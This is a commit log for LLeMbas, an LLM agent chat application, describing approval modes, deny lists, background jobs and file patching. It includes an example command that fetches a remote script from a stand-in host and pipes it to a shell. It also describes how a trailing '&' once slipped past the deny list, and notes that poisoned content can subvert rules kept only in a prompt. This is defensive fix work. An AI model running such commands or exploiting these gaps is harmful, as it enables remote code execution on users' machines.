14b1428f9fd5300bef9c91cb8a2127a5413abb92
10 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 Jaroslav Beneš
|
14b1428f9f |
A connection that cannot point at the machine it is running on
"Nothing runs on the LLeMbas host" is the sentence the absent sandbox and the absent local MCP rest on, and an SSH profile aimed at 127.0.0.1 walked straight past it -- through a real login, with every gate in policy.py still applying, onto the machine holding the database and the Fernet key. From the SSH layer down it is indistinguishable from a container on the network, so nothing here could have noticed. One switch, three positions: never, one named port, anywhere. The middle one is the one with a real use -- a container that published its SSH port on the loopback interface is genuinely somewhere else -- and port 22 is refused even there, because that one is this host's own sshd. Enforced in five places, because a row can predate a setting: saving a profile, `session.resolve` (the control every agent tool, the terminal and the canvas go through), the composer's picker, browsing, and the draft the panels open against before a chat exists. Check refuses before it opens its socket rather than after. And the recognition never resolves a name on the request path. `refusal` runs several times per page render; the first version of this looked names up inline and the suite went from two minutes to not finishing. Literal forms are decided from the string, a name is settled where a network call is already expected, and the answer lives on the row. The gap that leaves is written down rather than discovered. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav Beneš
|
7411517ce1 |
Two controls that did nothing, and instructions worth reading
**Switching mode mid-reply did nothing.** The mode was snapshotted when the reply began, so changing to Auto during a long agent reply went on asking about every call until the next turn. The same snapshot held the chat's allow list, which means "Always allow this" was accepted, written to the row, and then ignored for the rest of the reply that had just asked about it -- the same bug, in the quieter place nobody reported. `agent/session.py:refresh` re-reads exactly those two, between rounds and never within one. A round's calls are authorised together, so a switch must not retroactively approve what is already queued -- which is the property the reply-long snapshot was protecting by accident, and the reason this is not simply moved into `_authorise`. It mutates in place, because `as_approved` copies field references and a replacement would leave the round's approved copy pointing at the old context. **The composer's highlighting stayed behind after sending.** htmx fires afterSwap and afterSettle *before* afterRequest, and the composer empties itself from `hx-on::after-request` -- so every repaint ran while the box still held the message. It repaints on afterRequest and on `reset` as well now, deferred a frame: a form's reset event fires before its fields are actually cleared, so reading the value in the same turn paints the text that is about to vanish. Driven under a DOM stub reproducing htmx's real ordering, and confirmed to fail without the fix. **plan_update, audited.** It never said to mark a task `doing`, so the plan only ever showed work already finished, which is the opposite of "what somebody reads to see where you are". It never said several changes fit in one call, so a model spends a round per task. And `done` now means checked rather than written. **New: core.engineering**, an agent-chat fragment about conduct rather than about any language -- run what you write, find the project's own build and test commands rather than guessing, read before editing, change one thing at a time, read the error instead of guessing at a fix, do not broaden an except to make output clean, and say what you did not check. Every line is about the gap between having written something and knowing it works, which is the gap a model closes by asserting. That pushed the shipped harness to within 1,300 characters of its ceiling, where crossing it silently severs the project's own AGENTS.md. The ceiling is 20,000 and the test pins a margin as well as a fit -- the headroom is also where an administrator's own wording goes, and an override is usually longer than the default it replaces. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav Beneš
|
7c51dc306d |
Four things that failed silently in an agent chat, and an account of the work
Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.
**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.
**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.
**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.
**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.
Two more found while fixing them:
**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.
**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.
And, because an agent that works for ten minutes should be readable while it
does:
**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.
**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
Jaroslav Beneš
|
6cffcb357d |
Wake the model when a background job finishes
The other half of background execution: a job that finishes while nobody is looking prompts the model back with its result, rather than sitting unread until the model happens to run again. The vehicle is the queue, because it is the only wiring that already delivers a turn into or after a reply. A per-job poller notices completion and calls jobs.wake. If a reply is being written the completion is left queued for that reply's _inject/_drain; if the chat is idle a fresh reply is started to answer it -- the send_queued_now move. All of it under a per-chat lock with no await between the running-check and ensure, so two jobs finishing at once cannot each spin up a generation: the second sees the first's reply already live and leaves its completion for it. That is the invariant the queue exists to hold, reached from outside a request for the first time. The completion is a user-role turn whose content names itself a machine event -- "A background job you started has finished" -- not a bare person turn. _inject sends a queued turn verbatim, so the framing cannot live there; it lives in the words, the way execute_plan quotes the plan, and a tool.background fragment tells the model these arrive and are a machine event rather than the person speaking. The poller reconnects a fresh connection each tick rather than holding one open -- holding one is the exact live-connection state the whole ssh.py/base.py design forbids, and poll is self-healing besides. Bounded by background_max_jobs and a six-hour ceiling, after which the remote job may keep running but we stop watching it. A Job table, and here the terminal/generation "lost on restart" precedent does NOT transfer: those are seconds long with a human watching, a background job is hours long with nobody watching -- the one case a restart forgetting it would silently break the feature's whole promise. So the row lets a lifespan startup hook rehydrate the watcher and wake as if nothing happened. Cancelling a watcher never stops the detached remote job; it runs on and is picked back up. Tested end to end against a real local shell: launch a detached command, poll it to completion through a watcher, and assert the model was woken with the exit code and output -- plus the lock proving two simultaneous completions start one reply, not two. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav Beneš
|
3fc3449726 |
Let a command run in the background instead of being killed
An agent command is one blocking conn.run over a per-call connection, killed the
moment it hits its timeout -- so a ten-minute apt install is impossible, which is
exactly what a user hit. This is the substrate for running it detached instead:
the model can ask for background=true, or a command that outlasts its timeout is
kept running rather than killed, and either way the model gets tools to read and
stop it. Opt-in, off by default, under Admin -> Agents; off is byte-for-byte the
old behaviour.
The mechanism has to survive the connection closing (that is the whole premise
of the per-call model), so a job is a setsid-detached process on the far side,
redirected to a remote logfile and an exit-file; LLeMbas reconnects, as always,
to read it later. services/agent/jobs.py holds the wrappers.
Three things in those wrappers are load-bearing and each was got wrong in the
first sketch:
- The command never touches a quoted shell context. sh -c '<cmd>' shatters the
instant the command contains a quote -- git commit -m 'fix', awk '{…}', sed
's/…/…/' are the common case, and it is an injection hole besides. So the
command is base64-encoded in Python and decoded on the far side into a script
file; it is bytes, never shell syntax.
- The child records its own pid via $$ as its first act, under setsid where it
is the session leader, so job_stop can kill the whole process group. echo $!
from the launcher captures the wrong pid.
- The command's exit status comes from the exit-file, never the wrapper's own
status -- which is ~0 from its trailing rm. Reading the wrapper's status would
mark every job a success.
A command that finishes in time is indistinguishable from a foreground one --
same output, same wording; the difference shows only when it does not, where
instead of "stopped after Ns" it becomes a job id. Auto-convert is its own
sub-switch: with it off, a timeout stays a hard stop and nothing is left
running, because routing the plain case through the detached wrapper would leave
an orphan running past a stop an administrator asked for.
New agent tools job_output/job_list/job_stop, offered only when the feature is
on (the plan_submit gating pattern); job_stop is RISK_EXECUTE since it kills a
process. A job's files are namespaced by the calling chat's id and the wrappers
are always built from it, so a model in one chat cannot even name another's job.
Tested against a real local /bin/sh rather than the fake echo-the-command sshd
fixture, because the shell logic -- setsid, base64, the wait loop, the child
surviving the wait being cut off -- is the whole of the risk. The auto-wake that
prompts the model back when a job finishes is the next commit.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
Jaroslav Beneš
|
4b8fd6bad2 |
A plan it can see is a plan it can keep
Plan mode produced a flat list of steps and then forgot it. Nothing told the
model to look before proposing, nothing let it ask when the scope was
ambiguous, and -- worst -- once execution started the plan was not in the prompt
at all, so it could not have kept it current if it had wanted to.
The shape is findings, objectives and phases of tasks now. Findings are the part
people skip and the part that makes a plan worth reading: what is actually
there, what surprised you, what the plan is working around. Plan mode is told to
research first and to ask with ask_user when the scope is genuinely ambiguous,
in one question rather than three.
steps is still always written, flattened from every phase in order. That is the
whole of the compatibility story: execute_plan reads it and needed no change,
and every row already on disk still works. services/plans.py:normalise is the
only place that knows version 1 existed -- a {title, steps} row comes back as
one phase, so the card, the harness and the Execute button have one shape to
deal with rather than two.
Chat.plan_message_id is what puts the plan in front of the model each turn, with
one primary-key lookup rather than a scan for "the newest message carrying a
plan" -- context_variables is synchronous and sits on the request path.
plan_update is offered only once there is a plan, because a tool for changing
something that does not exist costs a round to find out.
It is RISK_READ, and that sits in tension with notes_edit being RISK_WRITE, so:
risk is what a tool does to the world, and the world the four modes govern is
the machine. This cannot touch it. RISK_WRITE would put an approval card on
screen every time a task was ticked off -- four cards to carry out a four-task
plan, each approving a bookkeeping entry -- which is exactly the interruption
batching exists to prevent. A note is a durable artefact of the reader's that
outlives the chat; this is the chat's own record of what it is doing, nearer to
generation.status. An administrator who disagrees puts it in deny_default.
One thing that nearly went wrong quietly. A runner cannot write the message row,
since _persist is the single writer -- so plan_update returns the merged plan on
its event and the loop carries it. Both calls in a round would then have read
the same stale plan from the database and the second would have won. They merge
into AgentContext.plan instead, the snapshot seeded once when the context is
resolved. Both tools write event["plan"] so _persist stays one writer with one
rule; only plan_submit sets plan_final, which is what withdraws the tools.
The card does not re-render in place. The newest bubble carries the current plan
and older ones carry the plan as it was then -- that is what a transcript is
for, it needs no streaming machinery, and it makes "what did it think at step
three" answerable.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
Jaroslav Beneš
|
bc141eae10 |
One round for a chat, as many as it takes for an agent
Two different jobs were sharing one number. A plain conversation asking a question is one round of looking things up and then an answer; the rounds after that were a small model that had decided searching was the answer searching until the context ran out, at a full request each. MAX_ROUNDS is 1 now. Several tools can still be called within that round, which is the thing worth telling the model. The trade is real and worth naming: a plain chat can no longer search and then read one of the results, because reading is a second round. That is what an agent chat is for. An agent chat is sized by Limits instead, where steps is now a runaway backstop and not a working budget. It was 40 and it was reached -- a step count low enough to be the thing that ends a reply is a count that ends it halfway. What bounds one now is the wall clock and a new completion-token ceiling, with zero meaning no ceiling, the same convention index_chars already uses. That ceiling would have been decorative. generation.completion_tokens is only populated when the endpoint sends a usage block, and llama.cpp, Ollama and friends never do; the fallback estimate is computed once, in _run's finally, long after the loop that needs it. So _written takes the larger of reported and estimated, and there is a test that runs the whole thing against a stream reporting no usage at all. A limit that works on OpenAI and silently does nothing everywhere else is the worst kind: one that looks configured. core.rounds could not stay one fragment. "You get at most N rounds" is not the same sentence with a different number in it -- a model told it has a budget rations it and stops early to report progress, which is exactly the behaviour that strands a long piece of work. So it splits: core.rounds keeps the one-round case and gates on a new round_budget variable that _agent_values blanks, and core.keep_working says the other thing to an agent chat. A queued message during a one-round reply is now never taken mid-reply -- there is no work under way to steer -- and falls through to _drain, which gives it a reply of its own. No code change went with that; it falls out of the guard, and there is a test so that "it happens to work" and "it is meant to work" stop looking the same. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav Beneš
|
82a7ef5b58 |
Change part of a file without rewriting it
file_write replaces a file entirely, so a model wanting to change one line either rewrote the whole thing from memory -- silently dropping everything it did not happen to recall -- or shelled out to sed. file_edit takes a unified diff instead, and services/agent/patch.py applies it. Four behaviours carry that module, and each exists because of how models actually write patches rather than how the format is specified. Fuzzy offset, exact content. A hunk header is a hint: models count from a truncated read or from the file as it was three edits ago and get the numbers wrong, and get the context lines right. So the hinted position is tried, then the file is scanned outward for an exact match of the context block. One match wins; more than one refuses, because guessing between two identical blocks is the one failure that silently corrupts a file. Line endings are normalised in and restored out, or every hunk on a CRLF file fails on context that looks identical in the error message. A blank context line that lost its leading space is read as blank, because trailing whitespace is stripped by half the things a model's output passes through. And nothing is written unless every hunk applies: a half-applied file is worse than a refused one, and the model cannot tell the difference without reading it again. It refuses a file this reply has not read, in those words. A patch written from memory either fails on context -- the good case -- or matches something it did not mean. AgentContext.read_paths records what was read; it lives there because runners never see a Generation and a read path is a fact about the machine, and it is shared with the approved copy because as_approved is dataclasses.replace, which copies field references. It resets each reply, and that is right rather than a limitation: tool_calls_json is never replayed, so on the next turn the model does not have the contents either. Writes and edits both render a git-style diff in the transcript now, escaped like everything else there and bounded at write time -- a generated file's diff can be larger than the file, and it sits on the row forever. That costs file_write one extra SFTP round trip to read the old contents, on the hottest agent operation, and it is a conscious trade: it is the difference between seeing what an agent did and having to go and look. It earns its keep twice, because that read also counts as having read the file. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Jaroslav Beneš
|
8a3a225fea |
Two selects that never wrote anything, and a queue
The approval card in Auto mode and the missing /effort were one bug. Both
selects hung their hx-patch on an empty sibling form reached by form="…",
and htmx binds a trigger to the annotated element: change fires on the
select and bubbles to its ancestors, which a sibling is not. The live rows
read agent_mode=manual and params_json={} while the browser showed Auto and
Effort: high. policy.py was never involved.
The verb moves onto the control; the empty form stays as value scoping,
which is the half of the CLAUDE.md note that was right. conftest gains
control_named so a test asserts the element carrying the name carries the
verb, rather than asserting the markup that was there throughout.
The composer's highlight was a third instance of the same carelessness in
CSS: .tok-mention is written for the transcript and scoped to nothing, so
the mirror painted its token in accent-coloured monospace over the
textarea's own text. Scoped under .msg; the mirror restates transparency
and font rather than inheriting them, and bleeds by box-shadow.
/effort is now offered before the first prompt and _new_chat reads it.
/index re-walks the project directory on demand, file_write drops the
listing it just invalidated, and the index ladder falls through to SFTP on
a host that refuses exec instead of returning nothing.
A second message during a reply is queued rather than starting a second
concurrent generation: a real Message row with queued set, so it survives a
restart and can be withdrawn. _drain hands one on at the end of a reply,
_inject takes one in at a tool-round boundary so an agent can be steered
mid-task. Stop leaves the queue undelivered. The terminal's Auto toggle
becomes off/copy/send, and send posts straight to the chat without touching
the composer.
@ now offers notes, skills, this chat's attachments and a URL to fetch; a
knowledge base attaches as a reference rather than a copy. copy_document
carries provenance, which was the one attach path that dropped it.
Also fixes an unrelated live bug: the round loop compared against the
global MAX_ROUNDS of 3 while sizing itself from the agent budget of 40, so
agent replies stopped after three rounds and reported forty.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
Jaroslav Beneš
|
a064407fa7 |
Agent chats run commands, and stop to ask first
The four tools an agent chat has -- shell_run, file_read, file_write, file_list -- and the mode table wired into the loop that decides which of them stop for approval. Verified end to end against a real Kali container over SSH: the card shows the command, allowing it runs it there, and the file it writes is visible from outside. The mode is enforced in `_authorise`, in the generation loop, server-side, keyed on each tool's declared risk. Not in the prompt: a model is told which mode it is in so it behaves sensibly, but everything it reads -- a web page, a README, the output of the last command -- is untrusted, and a rule written only into a system message is one a poisoned file can argue with. Within an agent chat every call goes through the table, including the built-in ones, because notes_edit writes and Plan mode meaning "look but do not touch" has to mean that too. Two things this turned up. The runners re-check the mode as a backstop, and that backstop refused the very thing a person had just approved -- the mode says "ask", and asking was exactly what happened. Approval is now threaded per call, on a copy of the context, because a round runs its calls together and only some of them were allowed. And the harness said nothing at all, because `registry` maps an offered tool *name* back to a family and did not know the agent tools existed. So shell_run resolved to no family and the fragment naming the machine, the directory and the mode was never admitted. The same omission cost custom tools their guidance once already; there is a test for it now. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |